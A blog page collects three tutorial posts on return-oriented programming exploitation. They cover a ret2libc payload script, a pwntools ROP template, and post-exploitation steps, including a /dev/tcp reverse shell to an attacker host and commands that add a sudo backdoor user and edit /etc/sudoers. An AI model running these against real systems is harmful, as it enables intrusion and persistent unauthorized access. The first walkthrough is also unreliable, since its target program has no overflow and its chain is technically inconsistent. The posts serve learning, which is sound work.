Showing posts with label ROP. Show all posts
Showing posts with label ROP. Show all posts

Tuesday, August 26, 2025

Applying a Return-Oriented Programming (ROP) Exploit to a Simple C++ Program

 Exploitation research often starts with small, seemingly harmless programs. In this post, we’ll walk through how a simple C++ "Hello World" program can still be analyzed and targeted with a ROP exploit. While this example is primarily for educational purposes, it illustrates how attackers approach binary analysis and how system protections affect exploitability.


Step 1: The Vulnerable Program

Let’s start with the simplest C++ program:

1
2
3
4
5
6
#include <iostream>

int main() {
    std::cout << "Hello, world!" << std::endl;  
    return 0;
}

Compile it with debugging symbols so we can analyze it more easily:

g++ -g hello.c -o hello

Run it:

./hello

# Output: Hello, world!

Nothing special yet—just prints a message.


Step 2: Analyzing Binary Protections

We’ll use checksec to inspect what mitigations are enabled on this binary:

checksec --file=hello

Result:

1
2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY
Partial RELRO   No canary found   NX enabled    PIE enabled     No RPATH   No RUNPATH   49 Symbols      No

Breakdown of Protections

ProtectionStatusExplanation
RELRO    Partial               RELROGOT (Global Offset Table) still writable, so function pointer overwrites possible.
Stack Canary    No canaryNo stack smashing detection → buffer overflow possible.
NX    EnabledStack is non-executable → injected shellcode won’t run directly.
PIE    EnabledBinary is position-independent, randomized under ASLR.
Symbols    PresentDebug symbols give more info to an attacker.
FORTIFY    DisabledNo additional hardening of unsafe libc functions.

⚡ Summary: Even this tiny program is potentially exploitable since no stack canary + partial RELRO opens the door for ROP-style attacks.


Step 3: Inspecting with GDB + GEF

Launch GDB with GEF  then set a breakpoint at main:

gdb hello

gef➤  b *main

gef➤  run

We can now analyze the binary and its link to libc.

Let’s search for the /bin/sh string inside libc:

gef➤  grep /bin/sh

[+] In '/usr/lib/x86_64-linux-gnu/libc.so.6' ...

0x7ffff7ce3ea4 → "/bin/sh"

And check the system() function address:

gef➤  p system

$1 = 0x7ffff7b8f110 <system>

 Perfect—we now have two critical addresses:

  • system() function entry point

  • /bin/sh string inside libc

If we can overwrite the return address in our binary, we can redirect execution to:

system("/bin/sh");


Step 4: Testing the Exploit

Inside GDB, we can even test this manually:

gef➤  call (int)system("/bin/sh")

$ whoami

mh1369080

 A reverse shell worked successfully! ๐ŸŽ‰


Step 5: Crafting a Payload

Let’s build an actual payload that mimics this ROP chain.


 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from struct import pack

padding = b"A" * 40  # buffer size to reach RIP overwrite
system_addr = pack("<Q", 0x555555554110)   # example system() address
ret_addr    = pack("<Q", 0x0)              # filler for return address
binsh_addr  = pack("<Q", 0x7ffff7ce3ea4)   # "/bin/sh" string address

payload = padding + system_addr + ret_addr + binsh_addr

open("payload", "wb").write(payload)

This payload:

  1. Fills the buffer with junk (As).

  2. Overwrites the saved return pointer with the address of system().

  3. Passes "/bin/sh" as the argument.

When we overflow the buffer, the stack looks like this:

Normal Stack Layout (before overflow)


1
2
3
4
5
6
| ... higher addresses ... |
| Saved RBP (base pointer) |
| Saved RIP (return addr)  | ← execution goes back here after main()
| Local Variables          |
| Buffer [40 bytes]        |
| ... lower addresses ...  |

After Overflow (with payload)

1
2
3
4
5
6
7
| ... higher addresses ... |
| Saved RBP (corrupted)    |
| RIP → system() address   | ← attacker overwrites return address
| Fake RET (junk or 0)     | ← placeholder for return value after system()
| Arg → "/bin/sh" address  | ← passed to system() as argument
| "AAAAAAAAAAAAAAAA..."    |
| ... lower addresses ...  |

This is the ROP chain:

  1. Execution returns into system().

  2. The next 8 bytes act as a fake return address (not used).

  3. The following 8 bytes are the pointer to "/bin/sh".

Step 6: Running the Exploit

Finally, run the program with the payload:

./hello < payload

If successful, you’ll land into a shell spawned by the exploited binary.

Here’s the payload breakdown:

1
2
3
4
[AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA]  # 40-byte padding
[0x555555554110]                           # system() address
[0x0000000000000000]                       # fake return addr
[0x7ffff7ce3ea4]                           # "/bin/sh" string in libc

 Which translates to:

system("/bin/sh");

ROP Flow Diagram

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
        ┌────────────┐
        │  Buffer    │
        └─────┬──────┘
              │ overflow
              ▼
        ┌───────────────┐
        │ Overwritten   │
        │ RIP → system  │
        └─────┬─────────┘
              │
              ▼
        ┌───────────────┐
        │ system()      │
        │   Arg: /bin/sh│
        └─────┬─────────┘
              │
              ▼
        ┌───────────────┐
        │   /bin/sh     │
        │   Interactive │
        │   Shell       │
        └───────────────┘

๐Ÿ“Œ Takeaways 

  • A ROP chain hijacks execution flow by overwriting the return pointer.

  • The payload arranges the stack so that it looks like a valid function call: system("/bin/sh").

  • Visualization helps understand why stack protections (stack canaries, full RELRO, ASLR, etc.) are critical in modern systems.


⚠️ Disclaimer:
This post is strictly for educational and research purposes in a controlled environment. The goal is to understand binary exploitation, not to misuse it.

 

Wednesday, August 13, 2025

๐Ÿงฐ ROP Exploitation Toolkit: Using checksec, GDB, Pwntools, RopGadget, pwn and More

 Binary exploitation is one of the most fascinating areas in cybersecurity, and Return-Oriented Programming (ROP) is a powerful technique to bypass modern security mechanisms. If you're just getting started or looking to refine your workflow, this post covers the essential tools every ROP exploit developer should know and use.




๐Ÿ” 1. checksec: Know Your Battlefield

Before writing a single byte of shellcode or ROP chain, always run checksec.

This tool reveals critical binary defenses like:

  • NX (No-eXecute) – If enabled, you can't execute shellcode on the stack.

  • PIE (Position-Independent Executable) – Makes addresses random at each run.

  • Canary – Detects stack smashing.

  • RELRO – Hardens the GOT.

๐Ÿง  Pro Tip: If NX is enabled, you can't inject raw shellcode — ROP is your friend.


๐Ÿง  2. GDB: The Exploiter’s Microscope

Use GDB to analyze crashes, inspect memory, and test your payloads.'

Useful GDB commands:

  • run – Start the binary

  • pattern_create / pattern_offset – Find overflow offset (if using pwndbg)

  • x/20x $rsp – Inspect the stack

  • info functions – List available functions (like system)

Use enhanced GDB plugins like:

๐Ÿ” Goal: Determine where your buffer overflow occurs and where to pivot control.


๐Ÿ“ 3. chmod: Set It Executable

If you're working with downloaded or compiled binaries. This ensures you can run or analyze the binary directly.

๐Ÿ” 4. grep: Filter the Noise

When you're hunting for gadgets, functions, or strings, grep helps speed things up. Filter only what matters — like locating /bin/sh or a useful gadget.

๐Ÿงจ 5. RopGadget: Find the Building Blocks

ROP chains are built from gadgets — small instruction sequences ending in ret. Look for essential gadgets:

  • pop rdi; ret → Load the first argument for function calls

  • ret → Useful for stack alignment

  • mov [rdi], rsi; ret → Write memory if needed

๐Ÿง  Tip: Use grep to locate gadgets faster.


๐Ÿ 6. Pwntools (pwn): Automate the Exploit

Python's pwntools makes building and testing exploits efficient. 

๐Ÿ” Automate everything: From calculating offsets to sending payloads and interacting with shells.

๐Ÿงฌ Full ROP Workflow Recap:

StepToolPurpose
1checksec    Inspect binary protections
2gdb + plugins    Debug crashes, find overflow, analyze memory
3grep    Search strings or gadgets
4RopGadget        Discover ROP chain gadgets
5chmod    Make binary executable
6pwntools    Script and test exploit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
from pwn import *

elf = ELF('./vuln_binary')
rop = ROP(elf)

p = process('./vuln_binary')

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
binsh = next(elf.search(b'/bin/sh'))
system = elf.symbols['system']

payload = b'A' * 72   # Adjust offset as needed
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

p.sendline(payload)
p.interactive()

Thursday, August 7, 2025

Calling system("/bin/sh") — a common goal in exploitation

 Calling system("/bin/sh") in an exploit gives the attacker a shell — specifically, a new instance of the Bourne shell (sh) — which runs with the same privileges as the exploited program.


๐Ÿ”“ So what can you do with system("/bin/sh")?

That depends on who owns the process you're exploiting:




๐Ÿง‘‍๐Ÿ’ป If it's a normal user process:

You get a shell as that user, allowing you to:

  • Read/write/modify their files.

  • Access credentials (e.g., SSH keys, saved passwords).

  • Modify or hijack scripts they use (for persistence).

  • Dump memory or tokens (e.g., cookies, secrets).

  • Set up backdoors or keyloggers.


๐Ÿ‘‘ If it's a root process:

You get a root shell — this is game over. You can:

  • Access and modify any file on the system.

  • Add new users or escalate other accounts.

  • Install malware, rootkits, or backdoors.

  • Disable logging, hide your tracks.

  • Dump password hashes (/etc/shadow) and crack them.

  • Open reverse shells to maintain access.

  • Disable or modify firewalls or security software.


⚠️ Real-World Example Use Cases

1. ๐Ÿš Interactive Shell

You can interact with the target system just like you're logged in:

1
2
3
ls -la
cd /home/victim/
cat .bash_history

2. ๐ŸŽฃ Create a Reverse Shell (connects back to your machine):

system("bash -i >& /dev/tcp/attacker_ip/4444 0>&1");

I also have posted a tuorial on reverse shell: Reverse Shell with NetCat. 

3. ๐Ÿ˜ Add a User:

useradd hacker -G sudo

echo "hacker:hackme" | chpasswd

 4. ๐Ÿ—ƒ️ Modify /etc/sudoers:

echo "hacker ALL=(ALL:ALL) NOPASSWD:ALL" >> /etc/sudoers

๐Ÿงช In CTFs or Security Labs:

Calling system("/bin/sh") is usually the “win condition”, because:

  • It proves you control the instruction pointer (EIP/RIP).

  • It gives you interactive control.

  • You can use it to read the flag, like:

cat /home/ctf/flag.txt

๐Ÿ” How Defenders Block This

Defensive features that block or mitigate this:

  • ASLR (Address Space Layout Randomization)

  • DEP/NX (Non-Executable stack)

  • Stack canaries

  • RELRO / PIE / Fortify

  • seccomp sandboxing (blocks system calls)

  • AppArmor / SELinux


✅ Summary

system("/bin/sh") gives you:
An interactive shellas the target user
Read/write file accessto user-owned files
Escalation pathif misconfigurations exist
Remote accessvia reverse shell
Root-level controlif the binary runs as root